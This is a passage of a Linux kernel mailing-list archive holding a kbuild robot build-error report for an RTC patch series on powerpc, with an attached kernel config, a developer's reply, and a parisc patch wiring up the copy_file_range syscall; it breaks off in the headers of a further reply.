[also build test ERROR on v4.5-rc6 next-20160301]
[if your patch is applied to the wrong git tree, please drop us a note to help improving the system]

url:    https://github.com/0day-ci/linux/commits/Arnd-Bergmann/rtc-generic-follow-up-for-COMPILE_TEST/20160302-011032
base:   https://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux.git rtc-next
config: powerpc-allnoconfig (attached as .config)
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=powerpc 

All errors (new ones prefixed by >>):

   arch/powerpc/kernel/built-in.o: In function `rtc_generic_get_time':
>> time.c:(.text+0x4c58): undefined reference to `rtc_valid_tm'

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--X1bOJ3K7DJ5YkBrT
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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

--X1bOJ3K7DJ5YkBrT--

From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 3/6] powerpc: rtc: provide rtc_class_ops directly
Date: Tue, 01 Mar 2016 21:31:09 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <43764978.ST0U01oqaW@wuerfel>
References: <201603020228.jios50eU%fengguang.wu@intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1456864329 1809 80.91.229.3 (1 Mar 2016 20:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 20:32:09 +0000 (UTC)
Cc: kbuild test robot <lkp@intel.com>,
	Alessandro Zummo <a.zummo@towertech.it>,
	linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com,
	linux-sh@vger.kernel.org, linux-kernel@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-m68k@lists.linux-m68k.org,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	kbuild-all@01.org, Paul Mackerras <paulus@samba.org>,
	linux-arm-kernel@lists.infradead.org
To: linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 01 21:32:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aaqxd-0000xp-5O
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Mar 2016 21:32:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752839AbcCAUb7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Mar 2016 15:31:59 -0500
Original-Received: from mout.kundenserver.de ([212.227.126.187]:50923 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752004AbcCAUb6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Mar 2016 15:31:58 -0500
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPSA (Nemesis) id 0LqpKo-1ZxeZk1LkY-00eHyA; Tue, 01 Mar
 2016 21:31:14 +0100
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <201603020228.jios50eU%fengguang.wu@intel.com>
X-Provags-ID: V03:K0:8gd9BDrKT9fcCeCCRrvYxOHmsRrzzjRFb07Dv7Cpg26Wi6G3Yo1
 TAkZl4dU48+FFiFp0tzh0VY/6qlpAum1uzBhTJQyBwvuBNUktph+V3HVHui5YOyf2whU5X3
 h258Mm3FbKo8sY6V5+QQ4l/oBSsx5EBtECLfJFy3i1hoq8oV8votyO9iVpV/n3naVYTbKtL
 tlCMVopERHdnnPmyMmoaQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Iiu3GrV53Ug=:Rv/h6xT3DvsBlSkCnED+Pe
 aWpfHXp2d2ow6y9OkAhqYWVhIDwzvRA6yLD6K8OyLstn9uAafZD/bQQce33158tRWGbmIm2EN
 FZhPAXpuLM8s8jTJPn9X7T8iso+UGGzK1WSDTSMnSeELssku2dpbIWBF6Lx5rKORThZKZh/kJ
 uaXVRXag5JS50nUHcmVTyX/oe4iERhhswwvzED7TToqRi8OAfXY87JDigEkt325b1OTGtSX99
 I8qbP73vRbIO4PEeeI1hldJnj/dZ6/BE66WsIA8tn1Nu775w4364lh0kaSHXsHNlMaTACwTMV
 zhxVMsFiFod+XmItnzuAoy8uFsXme1uquLa20V7zbpstPhvYrgWLRrAAy/Tcwk+khhmPY+P3b
 p+/EXvM5xnjnsq1CWsz1tY7VDRu1JcC9FUMWPRlW/kOnbYp9xvEuBPWFRhwAUYckEolFzkc9Z
 m+Gge8IyjKtTJwaygr9rn2RmTbRL5GSJnQrEOg1lVGEk1woTIfWuXTLkj9uJEHlmePL8m9tAU
 Ufrff24SLmrNhTX0/peBMTcQu/StMYzy0yu3YfK3kiNLRK0TRiSh/m64JnVLd+78mglVth67A
 mzRUfCpogqyC1ezqc2PzZB+c+8LTBza1zA5GpzXlynbP3y/9xqfM0WmfC+l7y/AsKaLMKnga7
 ldoKzpt6a74cAySt3fWg33LEob0MseGKtkieBlUbDPF3C1b9ZRHfFwaJuaku62XqoKEQ7hwwL
 +pZFr+RaLWvOV3V7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26509 gmane.linux.ports.ppc64.devel:124311 gmane.linux.ports.sh.devel:53486 gmane.linux.kernel:2165681 gmane.linux.ports.arm.kernel:483218
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26509>

On Wednesday 02 March 2016 02:37:14 kbuild test robot wrote:
> [auto build test ERROR on abelloni/rtc-next]
> [also build test ERROR on v4.5-rc6 next-20160301]
> [if your patch is applied to the wrong git tree, please drop us a note to help improving the system]
> 
> url:    https://github.com/0day-ci/linux/commits/Arnd-Bergmann/rtc-generic-follow-up-for-COMPILE_TEST/20160302-011032
> base:   https://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux.git rtc-next
> config: powerpc-allnoconfig (attached as .config)
> reproduce:
>         wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
>         chmod +x ~/bin/make.cross
>         # save the attached .config to linux build tree
>         make.cross ARCH=powerpc 
> 
> All errors (new ones prefixed by >>):
> 
>    arch/powerpc/kernel/built-in.o: In function `rtc_generic_get_time':
> >> time.c:(.text+0x4c58): undefined reference to `rtc_valid_tm'
> 

I fixed up the powerpc and parisc patches now, will resend them
after getting some feedback on the overall approach.

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Wire up copy_file_range syscall
Date: Tue, 1 Mar 2016 23:18:43 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20160301221843.GA6940@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1456870747 10198 80.91.229.3 (1 Mar 2016 22:19:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 22:19:07 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 01 23:18:59 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aasd7-0000Zd-3Z
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Mar 2016 23:18:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751169AbcCAWS4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Mar 2016 17:18:56 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:56462 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751232AbcCAWS4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Mar 2016 17:18:56 -0500
Original-Received: from ls3530.box ([92.203.46.178]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0Lv9lm-1ZsZmU3hkg-010OsW; Tue, 01 Mar 2016 23:18:49
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:fHI/VqRH7OeErUrfTvcbMqN0h7vccrxBg7JakIzL9oumgjYhpIQ
 L6hro97+52QHcJwc2koV9T2BHDKX2DgyZ/QwGjF2RNL7vjHcByNpN824ICZMFBK3QjqtY6j
 SUmLIKAHgrIlPTVy6EA0LN1MXdNkKNJ2bs5cPcq8yIdo7SDi/AKnxmGSkZ48MqhX23mo60g
 SWDzdPsweDRRZRZBWs5yg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:a+GDdKN8dJ0=:E+bh4uBched+Acv2RNcymP
 Feis61LEMv7rrc7NL2w/ufOqwDRxOrIPhOdF60nKSGP/WHrLq99rgrRFAmdzHQIqWpG6nwi6b
 JswLmm0Pjq2gQMOJE1n6CqTk5viXgVrT62cCtQAUOsmvHWpHHLOVcvLEc592ZHdFWxJpHlRfH
 7xd2id1FCW8fat8bWRfizMXAUBszFWggCWGxHlqSsDKipxLEHdcNWLXiRkfCpzVoN9qwHs4SG
 nFc9Hb8K06pUgP1oGN2oxr3T8Pp9wGbl4ZrKHswySIR61uEWqFMeMhGtmtqSNjLeSFGfM0HeO
 N6g/SPltadyiNut3CxpjMcfAbRYSem1D9hizXFTftM7aqg+mAuEFwoeXKNernfAAHA07+/xuZ
 +bNOk4EQqYdcOzaR7Iij3yPgbj7VNlsGvJhWYPn2Xd63mr75vrLNCFvccpd2WsSLd41bus0In
 mcj0dD9MKzJaiwWg+Vo3pE8H3tS3B7epJUpCjXqrqx8hjaGwWMAZd7Xlhcb3GXmTAt7S0eVby
 0BV4qsYn5bXiYVKj5MQT0rDYlG1tooXESXQJzUw1oZi5snwG86s0Ri0cYaAo8KPdOEIRyOdfF
 43zjYlRTWxl+t20RU/phtZHitdEXWRpo7saDpECeWt6b0YrmuZi/M5nRYTuvOvR4Ti2WxDPk9
 WYrfTdlPzeTEKxc0aDxUh+cdsq9PFs0FQpP64PLMDDrdUJbV9r0BBwqbnaovLzzVL4BbBHmNy
 Gs0o/bFyhplr3J8/Fw6Ghs+mB+46fULSjudgH5ziUsnGUCbnXqG/dG5HMTU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26510
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26510>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 35bdccb..b75039f 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -361,8 +361,9 @@
 #define __NR_membarrier		(__NR_Linux + 343)
 #define __NR_userfaultfd	(__NR_Linux + 344)
 #define __NR_mlock2		(__NR_Linux + 345)
+#define __NR_copy_file_range	(__NR_Linux + 346)
 
-#define __NR_Linux_syscalls	(__NR_mlock2 + 1)
+#define __NR_Linux_syscalls	(__NR_copy_file_range + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index d4ffcfb..585d50f 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -441,6 +441,7 @@
 	ENTRY_SAME(membarrier)
 	ENTRY_SAME(userfaultfd)
 	ENTRY_SAME(mlock2)		/* 345 */
+	ENTRY_SAME(copy_file_range)
 
 
 .ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel
Subject: Re: [PATCH 1/6] rtc: generic: allow building on all architectures
Date: Wed, 2 Mar 2016 09:57:27 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <CAMuHMdW5+jZ1n9WnCwBrGSGjUa8ziNTTqf-H15EFTQC_iwnw+Q@mail.gmail.com>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
	<1456851608-3374907-2-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1456909058 436 80.91.229.3 (2 Mar 2016 08:57:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Mar 2016 08:57:38 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
